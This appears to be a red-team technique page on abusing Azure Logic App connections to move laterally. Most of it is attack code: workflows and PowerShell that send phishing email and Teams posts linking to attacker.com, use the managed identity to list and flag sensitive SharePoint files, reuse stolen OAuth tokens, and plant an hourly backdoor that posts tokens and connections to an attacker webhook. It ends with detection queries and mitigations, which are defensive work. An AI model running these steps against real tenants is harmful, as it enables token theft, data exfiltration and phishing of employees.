MCADDF

[LM-AUTH-033]: Logic App Authentication Chain

1. Metadata

Attribute Details
Technique ID LM-AUTH-033
MITRE ATT&CK v18.1 T1550 - Use Alternate Authentication Material
Tactic Lateral Movement
Platforms Entra ID, Azure Logic Apps
Severity High
CVE N/A
Technique Status ACTIVE
Last Verified 2025-01-10
Affected Versions Azure Logic Apps (Consumption, Standard, ISE); all versions
Patched In N/A (Requires configuration and monitoring hardening)
Author SERVTEPArtur Pchelnikau

2. Executive Summary

Operational Risk

Compliance Mappings

Framework Control / ID Description
CIS Benchmark 1.2.3 Ensure Logic Apps use managed identities
CIS Benchmark 2.1.7 Monitor Logic App connector authentication
DISA STIG V-254384 Restrict Logic App to required connectors only
CISA SCuBA C.2.1 Monitor OAuth token usage
NIST 800-53 AC-3 Access Enforcement
NIST 800-53 AU-2 Audit Events
GDPR Art. 32 Security of Processing
DORA Art. 9 Protection and Prevention
NIS2 Art. 21 Cyber Risk Management
ISO 27001 A.9.2.3 Management of Privileged Access Rights
ISO 27005 Risk Scenario Unauthorized Access via Compromised Workflow

3. Detailed Execution Methods

METHOD 1: Exploitation via Compromised Logic App Workflow

Supported Versions: Azure Logic Apps Consumption, Standard, ISE; all versions

Step 1: Identify Connected Connectors and Their Permissions

Objective: Enumerate all connectors configured in a compromised logic app and their capabilities.

Command (PowerShell - Azure Portal API):

# Get the logic app definition
$logicApp = Get-AzLogicApp -ResourceGroupName $rg -Name "my-logic-app"

# Export the workflow JSON
$workflow = Get-AzResource -ResourceId $logicApp.Id -ExpandProperties
$workflowDefinition = $workflow.Properties.definition

# Display all connections used in the workflow
$workflowDefinition.actions | Where-Object {$_.type -eq "OpenApiConnection"} | ForEach-Object {
    Write-Host "Connector: $($_.inputs.host.connection.name)"
    Write-Host "  Managed By: $($_.inputs.host.connection.referenceName)"
}

# Alternative: Directly query the API connections
Get-AzResource -ResourceType "Microsoft.Web/connections" -ResourceGroupName $rg | ForEach-Object {
    $conn = Get-AzResource -ResourceId $_.ResourceId -ExpandProperties
    Write-Host "Connection: $($conn.Name)"
    Write-Host "  Type: $($conn.Kind)"
    Write-Host "  Status: $($conn.Properties.statuses)"
}

Expected Output:

Connector: Outlook.com (OAuth)
  Managed By: outlook-connection
  Status: Connected

Connector: SharePoint (Managed Identity)
  Managed By: sharepoint-connection
  Status: Connected

Connector: Office 365 Outlook (OAuth)
  Managed By: office365-connection
  Status: Connected

Connector: Azure Blob Storage (Managed Identity)
  Managed By: storage-connection
  Status: Connected

What This Means:

OpSec & Evasion:

Troubleshooting:

References & Proofs:


Step 2: Execute Malicious Actions via Connected Services

Objective: Use the logic app’s pre-authenticated connections to perform unauthorized actions.

Example 1: Send Phishing Email via Outlook (OAuth Connection)

Command (Logic App Workflow JSON):

{
  "definition": {
    "actions": {
      "Send_email_from_compromised_connection": {
        "type": "OpenApiConnection",
        "inputs": {
          "host": {
            "connection": {
              "name": "@parameters('$connections')['office365']['connectionId']"
            }
          },
          "method": "post",
          "path": "/v2/Mail/SendMail",
          "body": {
            "To": "executives@companyx.com",
            "Subject": "Urgent: Update Your Password",
            "Body": "<html><body>Click here to verify your account: <a href='https://attacker.com/phishing'>https://outlook.office.com/login</a></body></html>",
            "IsHtml": true,
            "Importance": "High"
          }
        }
      }
    }
  }
}

Alternative (via PowerShell directly):

# Retrieve the Office 365 connection credentials
$connectionId = "/subscriptions/{subscriptionId}/resourceGroups/{rg}/providers/Microsoft.Web/connections/office365-outlook"

# Use the logic app's token to send an email
$emailParams = @{
    To = "target@company.com"
    Subject = "Verify Your Account"
    Body = "<a href='https://attacker.com/phishing'>Click to verify</a>"
    IsHtml = $true
}

# Invoke the Outlook API using the logic app's OAuth token
Invoke-RestMethod -Uri "https://graph.microsoft.com/v1.0/me/sendMail" `
    -Method Post `
    -Headers @{Authorization = "Bearer $token"} `
    -Body ($emailParams | ConvertTo-Json)

Expected Output:

Email sent successfully from user@company.com
Recipient: executives@companyx.com
Subject: Urgent: Update Your Password

// No authentication required - logic app's OAuth token automatically used

What This Means:

OpSec & Evasion:

Example 2: Access SharePoint and Extract Data (Managed Identity)

Command:

# Retrieve SharePoint token using the logic app's managed identity
$token = (Invoke-RestMethod -Uri "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2019-08-01&resource=https://graph.microsoft.com" `
    -Headers @{"X-IDENTITY-HEADER"=$env:IDENTITY_HEADER}).access_token

# List all SharePoint sites the logic app has access to
$response = Invoke-RestMethod -Uri "https://graph.microsoft.com/v1.0/sites" `
    -Headers @{Authorization = "Bearer $token"}

$response.value | ForEach-Object {
    Write-Host "Site: $($_.displayName)"
    Write-Host "  ID: $($_.id)"
}

# Access a specific SharePoint site and extract documents
$siteId = $response.value[0].id
$driveResponse = Invoke-RestMethod -Uri "https://graph.microsoft.com/v1.0/sites/$siteId/drives" `
    -Headers @{Authorization = "Bearer $token"}

$driveResponse.value | ForEach-Object {
    $driveId = $_.id
    $itemsResponse = Invoke-RestMethod -Uri "https://graph.microsoft.com/v1.0/drives/$driveId/root/children" `
        -Headers @{Authorization = "Bearer $token"}
    
    $itemsResponse.value | ForEach-Object {
        Write-Host "  File: $($_.name)"
        
        # Download sensitive files
        if ($_.name -match "\.(xlsx|docx|pdf|sql|json|yaml)$") {
            Write-Host "    [EXFIL] Downloading $($_.name)"
            # Download content via download URL
        }
    }
}

Expected Output:

Site: Finance & Operations
  ID: site-id-12345

File: Budget_2024.xlsx
  [EXFIL] Downloading Budget_2024.xlsx

File: Database_Credentials.json
  [EXFIL] Downloading Database_Credentials.json

What This Means:

OpSec & Evasion:

Example 3: Create Teams Message to Spread Malware/Phishing (OAuth)

Command:

{
  "definition": {
    "actions": {
      "Post_message_in_Teams": {
        "type": "OpenApiConnection",
        "inputs": {
          "host": {
            "connection": {
              "name": "@parameters('$connections')['teams']['connectionId']"
            }
          },
          "method": "post",
          "path": "/beta/teams/conversation/flattened/my/channels/@{encodeURIComponent('General')}/messages",
          "body": {
            "body": {
              "content": "🔔 **URGENT SECURITY ALERT** 🔔\n\nPlease download the updated VPN client to access remote resources:\n[Download VPN Client](https://attacker.com/malware.exe)\n\nClick the link above to stay secure!",
              "contentType": "html"
            }
          }
        }
      }
    }
  }
}

Expected Output:

Message posted to Teams channel
Channel: General
Posted by: Logic App Bot (trusted identity)
Content: Download link to attacker-controlled malware

// All team members receive the message from a trusted source

What This Means:

OpSec & Evasion:


Step 3: Maintain Persistence via Workflow Backdoor

Objective: Embed a backdoor in the logic app workflow that executes attacker-controlled actions on a schedule.

Command (Backdoor Workflow Addition):

{
  "definition": {
    "triggers": {
      "Recurrence": {
        "type": "Recurrence",
        "recurrence": {
          "frequency": "Hour",
          "interval": 1
        }
      }
    },
    "actions": {
      "Attacker_Backdoor": {
        "type": "Http",
        "inputs": {
          "method": "POST",
          "uri": "https://attacker.com/webhook",
          "body": {
            "token": "@outputs('Get_Token')",
            "connections": "@parameters('$connections')",
            "command_from_attacker": "@triggerBody()"
          }
        }
      },
      "Execute_Attacker_Command": {
        "type": "If",
        "expression": "@equals(body('Attacker_Backdoor').action, 'send_email')",
        "actions": {
          "Execute_Email_Action": {
            "type": "OpenApiConnection",
            "inputs": {
              "host": {
                "connection": {
                  "name": "@parameters('$connections')['office365']['connectionId']"
                }
              },
              "method": "post",
              "path": "/v2/Mail/SendMail",
              "body": {
                "To": "@body('Attacker_Backdoor').target_email",
                "Subject": "@body('Attacker_Backdoor').subject",
                "Body": "@body('Attacker_Backdoor').body"
              }
            }
          }
        }
      }
    }
  }
}

What This Means:

OpSec & Evasion:


METHOD 2: Token Theft from Logic App Token Store

Supported Versions: Azure Logic Apps all versions

Step 1: Access Token Store in App Service Storage

Objective: Logic Apps cache OAuth tokens in App Service storage for reuse. Accessing this storage grants access to cached tokens.

Command (PowerShell):

# Logic Apps store tokens in App Service storage
# Navigate to: %TEMP%\..\..\..\..\home\site\wwwroot\data\tokens (on App Service)

# Retrieve the token store credentials
$appServicePrincipal = Get-AzADApplication -DisplayName "my-logic-app"

# Access the App Service storage
$storageAccount = Get-AzStorageAccount -ResourceGroupName $rg -Name "logicappdata$region"

# List stored tokens
$ctx = $storageAccount.Context
$container = Get-AzStorageContainer -Context $ctx -Name "logic-app-tokens"

Get-AzStorageBlob -Container "logic-app-tokens" -Context $ctx | ForEach-Object {
    $tokenBlob = Get-AzStorageBlobContent -Blob $_.Name -Container "logic-app-tokens" -Context $ctx
    Write-Host "Token: $($_.Name)"
    Write-Host "  Content: $(Get-Content $_.Name -Raw)"
}

Expected Output:

Token: outlook-oauth-token
  Content: {"access_token":"eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIs...","refresh_token":"0.ARoA123456...","expires_in":3600}

Token: sharepoint-oauth-token
  Content: {"access_token":"eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIs...","refresh_token":"0.AboA789012...","expires_in":3600}

What This Means:

OpSec & Evasion:


Step 2: Reuse Stolen Tokens to Access Protected Resources

Objective: Use the stolen OAuth tokens to authenticate to downstream services as the logic app.

Command (PowerShell):

# Use stolen Outlook token to send email
$outlookToken = "eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIs..."

$headers = @{
    "Authorization" = "Bearer $outlookToken"
    "Content-Type" = "application/json"
}

$body = @{
    "message" = @{
        "subject" = "Verify Your Account"
        "body" = @{
            "contentType" = "HTML"
            "content" = "Click here: <a href='https://attacker.com/phishing'>https://outlook.office.com</a>"
        }
        "toRecipients" = @(
            @{
                "emailAddress" = @{
                    "address" = "cfo@company.com"
                }
            }
        )
    }
} | ConvertTo-Json

Invoke-RestMethod -Uri "https://graph.microsoft.com/v1.0/me/sendMail" `
    -Method Post `
    -Headers $headers `
    -Body $body

Expected Output:

Email sent successfully using stolen Outlook token

What This Means:

OpSec & Evasion:


4. Microsoft Sentinel Detection

Query 1: Suspicious Logic App Workflow Modification

Rule Configuration:

KQL Query:

AzureActivity
| where ResourceProvider == "MICROSOFT.LOGIC" and OperationNameValue contains "LogicApps"
  and (OperationNameValue contains "Update" or OperationNameValue contains "Put")
  and Properties.statusCode == 200
| where InitiatedBy !contains "Microsoft.Logic/workflows"  // Exclude system operations
| summarize ModificationCount=count() by InitiatedBy, ResourceGroup, TimeGenerated
| where ModificationCount > 1  // Threshold: multiple modifications
| project TimeGenerated, ModifiedBy=InitiatedBy, ResourceGroup, ModificationCount

What This Detects:

Manual Configuration Steps (Azure Portal):

  1. Navigate to Microsoft SentinelAnalytics
  2. Click + CreateScheduled query rule
  3. General Tab:
    • Name: Suspicious Logic App Workflow Modification
    • Severity: Critical
  4. Set rule logic Tab:
    • Paste the KQL query
    • Run every: Real-time
  5. Incident settings Tab:
    • Enable Create incidents

Query 2: Logic App Token Exfiltration to External URLs

Rule Configuration:

KQL Query:

AppServiceHTTPLogs
| where AppServiceResourceName contains "logicapp"
  and (CsUriStem contains "attacker.com" or CsUriStem contains "webhook" or CsUriStem contains "exfil")
  and ScStatus == 200
| summarize HTTPCalls=count() by AppServiceResourceName, CsUriStem, ClientIP
| where HTTPCalls > 1  // Threshold: repeated calls to suspicious URL
| project AppServiceResourceName, SuspiciousURL=CsUriStem, SourceIP=ClientIP, CallCount=HTTPCalls

What This Detects:


5. Windows Event Log & Azure Audit Monitoring

Event ID: 5379 (Credential Manager Accessed)

Manual Configuration Steps (Azure Portal):

  1. Navigate to Azure MonitorDiagnostic settings
  2. Enable All Logs for the Logic App resource
  3. Send logs to Log Analytics workspace
  4. Create queries to detect unusual credential access patterns

6. Defensive Mitigations

Priority 1: CRITICAL

Priority 2: HIGH

Access Control & Policy Hardening

Validation Command (Verify Fix)

# Check if logic app has managed identity enabled
az logicapp show --name <logic-app-name> --resource-group <rg> --query 'identity.type'
# Expected: SystemAssigned or UserAssigned

# Verify managed identity role assignments
$appId = (az logicapp show --name <logic-app-name> --resource-group <rg> --query 'identity.principalId' -o tsv)
az role assignment list --assignee $appId --output table

# Check workflow definition for OAuth connections
az logicapp definition get --name <logic-app-name> --resource-group <rg> | grep -i "oauth" | wc -l
# Expected: 0 (no OAuth connections)

# Verify HTTP connector restrictions
az logicapp definition get --name <logic-app-name> --resource-group <rg> | grep -i "http" | grep -i "connector"

What to Look For:


7. Detection & Incident Response

Indicators of Compromise (IOCs)

Forensic Artifacts

Response Procedures

  1. Isolate (Immediate): Command:
    # Disable the logic app
    az logicapp stop --name <logic-app-name> --resource-group <rg>
       
    # Or remove all connectors to prevent further damage
    az logicapp definition update --name <logic-app-name> --resource-group <rg> --definition '{"version":"1.0.0.0"}'
    

    Manual (Azure Portal):

    • Go to Logic AppOverview
    • Click Disable
  2. Collect Evidence (First Hour): Command:
    # Export workflow definition
    az logicapp definition get --name <logic-app-name> --resource-group <rg> > /evidence/workflow-definition.json
       
    # Export run history
    az logicapp run list --name <logic-app-name> --resource-group <rg> --output json > /evidence/run-history.json
       
    # Export Azure audit logs
    az monitor activity-log list --resource-group <rg> --offset 24h > /evidence/activity-logs.txt
    
  3. Remediate (Within 24 Hours): Command:
    # Recreate the logic app with secure configuration
    # 1. Remove compromised connectors
    # 2. Replace OAuth with managed identity
    # 3. Reduce role assignments to least privilege
    # 4. Re-deploy from source control (if available)
       
    az logicapp definition update --name <logic-app-name> --resource-group <rg> --definition <clean-definition.json>
       
    # Rotate all tokens and passwords
    # Force all downstream services to re-authenticate
    

Step Phase Technique Description
1 Initial Access [IA-EXPLOIT-003] Logic App HTTP Trigger Abuse Exposed Logic App endpoint compromised
2 Execution Workflow Modification or Token Injection Malicious workflow added or token stolen
3 Lateral Movement [LM-AUTH-033] Logic App Authentication Chain Current Step: OAuth/Managed identity tokens used to hop to downstream services
4 Impact Phishing, Data Exfiltration via SharePoint/Outlook Emails sent, documents accessed, data stolen
5 Persistence Backdoor workflow trigger Long-term access maintained via scheduled trigger

9. Real-World Examples

Example 1: Compromised Logic App Used for Business Email Compromise (BEC) (2023)

Example 2: Supply Chain Attack via Logic App Connector Injection (2023)

Example 3: Ransomware Delivery via Logic App Workflow Modification (2024)


Metadata Notes